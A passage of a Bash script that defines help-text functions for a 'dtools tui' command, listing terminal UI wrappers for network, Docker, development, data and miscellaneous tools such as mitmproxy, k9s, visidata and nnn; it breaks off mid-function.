dtools_tui_network_monitoring_upkit_usage() { printf "dtools tui network-monitoring upkit - A modern, cross‑platform CLI to monitor websites and APIs. (uptimekit)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui network-monitoring upkit\n" printf " dtools tui network-monitoring upkit --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_network_usage() { printf "dtools tui network - TUIs for various network tools\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui network COMMAND\n" printf " dtools tui network [COMMAND] --help | -h\n" echo printf "%s\n" "$(bold "Commands:")" printf " %s TUI application for interacting with NetworkManager (nmtui)\n" "$(green "network-manager") " printf " %s TUI-based bluetooth connection manager (bluetuith)\n" "$(green "bluetooth-manager") " printf " %s TUI for managing WireGuard configuration files (wg-cmd)\n" "$(green "wireguard-config") " printf " %s Interactive HTTP(S) proxy (mitmproxy)\n" "$(green "mitm-proxy") " printf " %s A powerful and flexible proxy CLI for capturing and inspecting HTTP(S) and WS(S) traffic, with TUI and WebUI (proxyfor)\n" "$(green "proxy") " printf " %s Proxymock watches your app run and automatically creates isolation tests and realistic service mocks—no scripts, no stubs, no flaky envs. (proxymock)\n" "$(green "proxymock") " printf " %s HTTP load generator and stress tester (oha)\n" "$(green "http-load-generator") " printf " %s Ping but with a graph (gping)\n" "$(green "ping") " printf " %s Text based browser with images (browsh)\n" "$(green "full-browser") " printf " %s WWW text browser (elinks)\n" "$(green "elinks") " printf " %s Another text browser that's an alternative to elinks (w3m)\n" "$(green "w3m") " printf " %s Yet another text browser that's an alternative to elinks (lynx)\n" "$(green "lynx") " printf " %s A Chromium-based in-terminal web browser (carbonyl)\n" "$(green "carbonyl") " printf " %s HTTP Request client like Postman (wuzz)\n" "$(green "http-request-client") " printf " %s HTTP request client like Postman or Insomnia (slumber)\n" "$(green "http-request-client-2")" printf " %s A simple API client (Postman-like) (atac)\n" "$(green "api-client") " echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_network_network_manager_usage() { printf "dtools tui network network-manager - TUI application for interacting with NetworkManager (nmtui)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui network network-manager\n" printf " dtools tui network network-manager --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_network_bluetooth_manager_usage() { printf "dtools tui network bluetooth-manager - TUI-based bluetooth connection manager (bluetuith)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui network bluetooth-manager\n" printf " dtools tui network bluetooth-manager --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_network_wireguard_config_usage() { printf "dtools tui network wireguard-config - TUI for managing WireGuard configuration files (wg-cmd)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui network wireguard-config\n" printf " dtools tui network wireguard-config --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_network_mitm_proxy_usage() { printf "dtools tui network mitm-proxy - Interactive HTTP(S) proxy (mitmproxy)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui network mitm-proxy\n" printf " dtools tui network mitm-proxy --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_network_proxy_usage() { printf "dtools tui network proxy - A powerful and flexible proxy CLI for capturing and inspecting HTTP(S) and WS(S) traffic, with TUI and WebUI (proxyfor)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui network proxy\n" printf " dtools tui network proxy --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_network_proxymock_usage() { printf "dtools tui network proxymock - Proxymock watches your app run and automatically creates isolation tests and realistic service mocks—no scripts, no stubs, no flaky envs. (proxymock)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui network proxymock\n" printf " dtools tui network proxymock --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_network_http_load_generator_usage() { printf "dtools tui network http-load-generator - HTTP load generator and stress tester (oha)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui network http-load-generator\n" printf " dtools tui network http-load-generator --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_network_ping_usage() { printf "dtools tui network ping - Ping but with a graph (gping)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui network ping\n" printf " dtools tui network ping --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_network_full_browser_usage() { printf "dtools tui network full-browser - Text based browser with images (browsh)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui network full-browser\n" printf " dtools tui network full-browser --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_network_elinks_usage() { printf "dtools tui network elinks - WWW text browser (elinks)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui network elinks\n" printf " dtools tui network elinks --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_network_w3m_usage() { printf "dtools tui network w3m - Another text browser that's an alternative to elinks (w3m)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui network w3m\n" printf " dtools tui network w3m --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_network_lynx_usage() { printf "dtools tui network lynx - Yet another text browser that's an alternative to elinks (lynx)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui network lynx\n" printf " dtools tui network lynx --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_network_carbonyl_usage() { printf "dtools tui network carbonyl - A Chromium-based in-terminal web browser (carbonyl)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui network carbonyl\n" printf " dtools tui network carbonyl --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_network_http_request_client_usage() { printf "dtools tui network http-request-client - HTTP Request client like Postman (wuzz)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui network http-request-client\n" printf " dtools tui network http-request-client --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_network_http_request_client_2_usage() { printf "dtools tui network http-request-client-2 - HTTP request client like Postman or Insomnia (slumber)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui network http-request-client-2\n" printf " dtools tui network http-request-client-2 --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_network_api_client_usage() { printf "dtools tui network api-client - A simple API client (Postman-like) (atac)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui network api-client\n" printf " dtools tui network api-client --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_docker_usage() { printf "dtools tui docker - TUIs for Docker related tools\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui docker COMMAND\n" printf " dtools tui docker [COMMAND] --help | -h\n" echo printf "%s\n" "$(bold "Commands:")" printf " %s Manage local Docker (lazydocker)\n" "$(green "docker") " printf " %s A tool for exploring a docker image, layer contents, and discovering ways to shrink the size of your Docker/OCI image. (dive)\n" "$(green "docker-layer-analyzer")" printf " %s Manage your Kubernetes cluster (k9s)\n" "$(green "kubernetes") " echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_docker_docker_usage() { printf "dtools tui docker docker - Manage local Docker (lazydocker)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui docker docker\n" printf " dtools tui docker docker --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_docker_docker_layer_analyzer_usage() { printf "dtools tui docker docker-layer-analyzer - A tool for exploring a docker image, layer contents, and discovering ways to shrink the size of your Docker/OCI image. (dive)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui docker docker-layer-analyzer\n" printf " dtools tui docker docker-layer-analyzer --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_docker_kubernetes_usage() { printf "dtools tui docker kubernetes - Manage your Kubernetes cluster (k9s)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui docker kubernetes\n" printf " dtools tui docker kubernetes --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_development_usage() { printf "dtools tui development - TUIs for development related tools\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui development COMMAND\n" printf " dtools tui development [COMMAND] --help | -h\n" echo printf "%s\n" "$(bold "Commands:")" printf " %s Fast terminal UI for git (gitui)\n" "$(green "git") " printf " %s Jira terminal UI (jirust)\n" "$(green "jira") " printf " %s Render markdown on the CLI (glow)\n" "$(green "readme") " printf " %s Log file navigator (lnav)\n" "$(green "tail-logs") " printf " %s View a git diff file-by-file with a tree viewer (drft)\n" "$(green "drft") " printf " %s Validate and execute GitHub workflows locally (wrkflw)\n" "$(green "wrkflw") " printf " %s Manage your GitHub Actions from the terminal (gama)\n" "$(green "gama") " printf " %s Easily manage AWS ECS resources (e1s)\n" "$(green "ecs") " printf " %s A TUI for viewing an OpenAPI spec like Swagger UI (openapi-tui)\n" "$(green "openapi") " printf " %s A TUI for browsing Google Cloud Storage (burf)\n" "$(green "gcs") " printf " %s View GitHub pull requests in a TUI (prs)\n" "$(green "prs") " printf " %s TUI explorer application for Amazon S3 (stu)\n" "$(green "s3") " printf " %s A terraform and terragrunt TUI (pug)\n" "$(green "terraform") " printf " %s View and manage systemd journal logs (lazyjournal)\n" "$(green "journal") " printf " %s Fast, remote-first, multi-host TUI log viewer with timeline histogram and no central server (nerdlog)\n" "$(green "multi-host-log-viewer")" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_development_git_usage() { printf "dtools tui development git - Fast terminal UI for git (gitui)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui development git\n" printf " dtools tui development git --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_development_jira_usage() { printf "dtools tui development jira - Jira terminal UI (jirust)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui development jira\n" printf " dtools tui development jira --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_development_readme_usage() { printf "dtools tui development readme - Render markdown on the CLI (glow)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui development readme\n" printf " dtools tui development readme --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_development_tail_logs_usage() { printf "dtools tui development tail-logs - Log file navigator (lnav)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui development tail-logs\n" printf " dtools tui development tail-logs --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_development_drft_usage() { printf "dtools tui development drft - View a git diff file-by-file with a tree viewer (drft)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui development drft\n" printf " dtools tui development drft --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo printf "%s\n" "$(bold "Examples:")" printf " git diff | drft\n" echo fi } dtools_tui_development_wrkflw_usage() { printf "dtools tui development wrkflw - Validate and execute GitHub workflows locally (wrkflw)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui development wrkflw\n" printf " dtools tui development wrkflw --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_development_gama_usage() { printf "dtools tui development gama - Manage your GitHub Actions from the terminal (gama)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui development gama\n" printf " dtools tui development gama --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_development_ecs_usage() { printf "dtools tui development ecs - Easily manage AWS ECS resources (e1s)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui development ecs\n" printf " dtools tui development ecs --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_development_openapi_usage() { printf "dtools tui development openapi - A TUI for viewing an OpenAPI spec like Swagger UI (openapi-tui)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui development openapi\n" printf " dtools tui development openapi --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_development_gcs_usage() { printf "dtools tui development gcs - A TUI for browsing Google Cloud Storage (burf)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui development gcs GCS_URL\n" printf " dtools tui development gcs --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo printf "%s\n" "$(bold "Arguments:")" printf " %s\n" "$(blue "GCS_URL")" printf " The GCS URL to browse\n" echo printf "%s\n" "$(bold "Examples:")" printf " burf gs://prod\n" echo fi } dtools_tui_development_prs_usage() { printf "dtools tui development prs - View GitHub pull requests in a TUI (prs)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui development prs\n" printf " dtools tui development prs --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_development_s3_usage() { printf "dtools tui development s3 - TUI explorer application for Amazon S3 (stu)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui development s3\n" printf " dtools tui development s3 --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_development_terraform_usage() { printf "dtools tui development terraform - A terraform and terragrunt TUI (pug)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui development terraform [OPTIONS]\n" printf " dtools tui development terraform --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--terraform")" printf " Use Terraform instead of Terragrunt\n" echo printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_development_journal_usage() { printf "dtools tui development journal - View and manage systemd journal logs (lazyjournal)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui development journal\n" printf " dtools tui development journal --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_development_multi_host_log_viewer_usage() { printf "dtools tui development multi-host-log-viewer - Fast, remote-first, multi-host TUI log viewer with timeline histogram and no central server (nerdlog)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui development multi-host-log-viewer\n" printf " dtools tui development multi-host-log-viewer --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_dev_help_usage() { printf "dtools tui dev-help - TUIs for helping devs get help or solve problems\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui dev-help COMMAND\n" printf " dtools tui dev-help [COMMAND] --help | -h\n" echo printf "%s\n" "$(bold "Commands:")" printf " %s StackOverflow Query Engine (so)\n" "$(green "stack-overflow")" printf " %s Wikipedia TUI (wiki-tui)\n" "$(green "wiki") " echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_dev_help_stack_overflow_usage() { printf "dtools tui dev-help stack-overflow - StackOverflow Query Engine (so)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui dev-help stack-overflow\n" printf " dtools tui dev-help stack-overflow --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_dev_help_wiki_usage() { printf "dtools tui dev-help wiki - Wikipedia TUI (wiki-tui)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui dev-help wiki\n" printf " dtools tui dev-help wiki --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_data_usage() { printf "dtools tui data - TUIs to query or analyze data\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui data COMMAND\n" printf " dtools tui data [COMMAND] --help | -h\n" echo printf "%s\n" "$(bold "Commands:")" printf " %s Database management (gobang)\n" "$(green "db") " printf " %s A terminal interface for exploring and arranging tabular data. (visidata)\n" "$(green "explorer") " printf " %s The SQL IDE for your terminal. (harlequin)\n" "$(green "database-ide") " printf " %s A Kafka cluster query IDE (yozefu)\n" "$(green "kafka") " printf " %s Jupyter Notebook in your terminal. (euporie-notebook, euporie-preview, and euporie-console)\n" "$(green "jupyter-notebook")" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_data_db_usage() { printf "dtools tui data db - Database management (gobang)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui data db\n" printf " dtools tui data db --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_data_explorer_usage() { printf "dtools tui data explorer - A terminal interface for exploring and arranging tabular data. (visidata)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui data explorer\n" printf " dtools tui data explorer --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_data_database_ide_usage() { printf "dtools tui data database-ide - The SQL IDE for your terminal. (harlequin)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui data database-ide\n" printf " dtools tui data database-ide --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_data_kafka_usage() { printf "dtools tui data kafka - A Kafka cluster query IDE (yozefu)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui data kafka\n" printf " dtools tui data kafka --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_data_jupyter_notebook_usage() { printf "dtools tui data jupyter-notebook - Jupyter Notebook in your terminal. (euporie-notebook, euporie-preview, and euporie-console)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui data jupyter-notebook\n" printf " dtools tui data jupyter-notebook --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_misc_usage() { printf "dtools tui misc - TUIs for miscellaneous things\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui misc COMMAND\n" printf " dtools tui misc [COMMAND] --help | -h\n" echo printf "%s\n" "$(bold "Commands:")" printf " %s Terminal-based Joplin client for notes (joplin)\n" "$(green "notes") " printf " %s Terminal-based presentations using Pandoc (patat)\n" "$(green "presentation") " printf " %s A custom SSH server that takes you to a chat instead of a shell prompt (ssh nickname@devzat.hackclub.com)\n" "$(green "dev-chat") " printf " %s Terminal file manager (nnn)\n" "$(green "file-manager") " printf " %s A terminal screensaver (ttysvr)\n" "$(green "screensaver") " printf " %s Displays the weather (wego)\n" "$(green "weather") " printf " %s A collection of utilities for Linux (linutil)\n" "$(green "linutil") " printf " %s A terminal-based Slack client (slack-term)\n" "$(green "slack") " printf " %s Play YouTube Music from the terminal (ytermusic)\n" "$(green "youtube-music") " printf " %s Play YouTube Music from the terminal (ytui_music)\n" "$(green "youtube-music-2") " printf " %s Play music from your Jellyfin server in the terminal (jellyfin-tui)\n" "$(green "jellyfin") " printf " %s Audio visualizations in the terminal (vis)\n" "$(green "visualizations") " printf " %s Audio visualizations in the terminal (cava)\n" "$(green "visualizations-2")" printf " %s Interactive find and replace in the terminal (scooter)\n" "$(green "find-and-replace")" printf " %s Watch movies in your terminal with ASCII art! (ssh into watch.ascii.theater)\n" "$(green "ascii-theater") " printf " %s View your calendars in the terminal (calcure)\n" "$(green "calendar") " printf " %s A piano in your terminal (upiano)\n" "$(green "piano") " printf " %s A TUI and CLI for managing *arr servers (managarr)\n" "$(green "servarr") " echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_misc_notes_usage() { printf "dtools tui misc notes - Terminal-based Joplin client for notes (joplin)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui misc notes\n" printf " dtools tui misc notes --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_misc_presentation_usage() { printf "dtools tui misc presentation - Terminal-based presentations using Pandoc (patat)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui misc presentation\n" printf " dtools tui misc presentation --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_misc_dev_chat_usage() { printf "dtools tui misc dev-chat - A custom SSH server that takes you to a chat instead of a shell prompt (ssh nickname@devzat.hackclub.com)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui misc dev-chat NICKNAME\n" printf " dtools tui misc dev-chat --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo printf "%s\n" "$(bold "Arguments:")" printf " %s\n" "$(blue "NICKNAME")" printf " Nickname to use when joining the chat\n" echo fi } dtools_tui_misc_file_manager_usage() { printf "dtools tui misc file-manager - Terminal file manager (nnn)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui misc file-manager\n" printf " dtools tui misc file-manager --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_misc_screensaver_usage() { printf "dtools tui misc screensaver - A terminal screensaver (ttysvr)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui misc screensaver\n" printf " dtools tui misc screensaver --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo printf "%s\n" "$(bold "Examples:")" printf " ttysvr bubbles\n" printf " ttysvr logo dvd\n" printf " ttysvr logo tty\n" printf " ttysvr maze brick\n" printf " ttysvr maze hedge\n" printf " # Run the screensaver after DELAY of seconds\n # of inactivity in the current shell session\n eval \`ttysvr [VARIANT] --init [DELAY]\`\n" printf " # Cancel the screensaver in current shell session\n eval \`ttysvr --cancel\`\n" echo fi } dtools_tui_misc_weather_usage() { printf "dtools tui misc weather - Displays the weather (wego)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui misc weather\n" printf " dtools tui misc weather --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_misc_linutil_usage() { printf "dtools tui misc linutil - A collection of utilities for Linux (linutil)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui misc linutil\n" printf " dtools tui misc linutil --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_misc_slack_usage() { printf "dtools tui misc slack - A terminal-based Slack client (slack-term)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui misc slack\n" printf " dtools tui misc slack --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_misc_youtube_music_usage() { printf "dtools tui misc youtube-music - Play YouTube Music from the terminal (ytermusic)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui misc youtube-music\n" printf " dtools tui misc youtube-music --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_misc_youtube_music_2_usage() { printf "dtools tui misc youtube-music-2 - Play YouTube Music from the terminal (ytui_music)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui misc youtube-music-2\n" printf " dtools tui misc youtube-music-2 --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_misc_jellyfin_usage() { printf "dtools tui misc jellyfin - Play music from your Jellyfin server in the terminal (jellyfin-tui)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui misc jellyfin\n" printf " dtools tui misc jellyfin --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_misc_visualizations_usage() { printf "dtools tui misc visualizations - Audio visualizations in the terminal (vis)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui misc visualizations\n" printf " dtools tui misc visualizations --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_misc_visualizations_2_usage() { printf "dtools tui misc visualizations-2 - Audio visualizations in the terminal (cava)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui misc visualizations-2\n" printf " dtools tui misc visualizations-2 --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_misc_find_and_replace_usage() { printf "dtools tui misc find-and-replace - Interactive find and replace in the terminal (scooter)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui misc find-and-replace\n" printf " dtools tui misc find-and-replace --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf "%s\n" "$(bold "Options:")" printf " %s\n" "$(magenta "--help, -h")" printf " Show this help\n" echo fi } dtools_tui_misc_ascii_theater_usage() { printf "dtools tui misc ascii-theater - Watch movies in your terminal with ASCII art! (ssh into watch.ascii.theater)\n\n" printf "%s\n" "$(bold "Usage:")" printf " dtools tui misc ascii-theater\n" printf " dtools tui misc ascii-theater --help | -h\n" echo if [[ -n "$long_usage" ]]; then printf 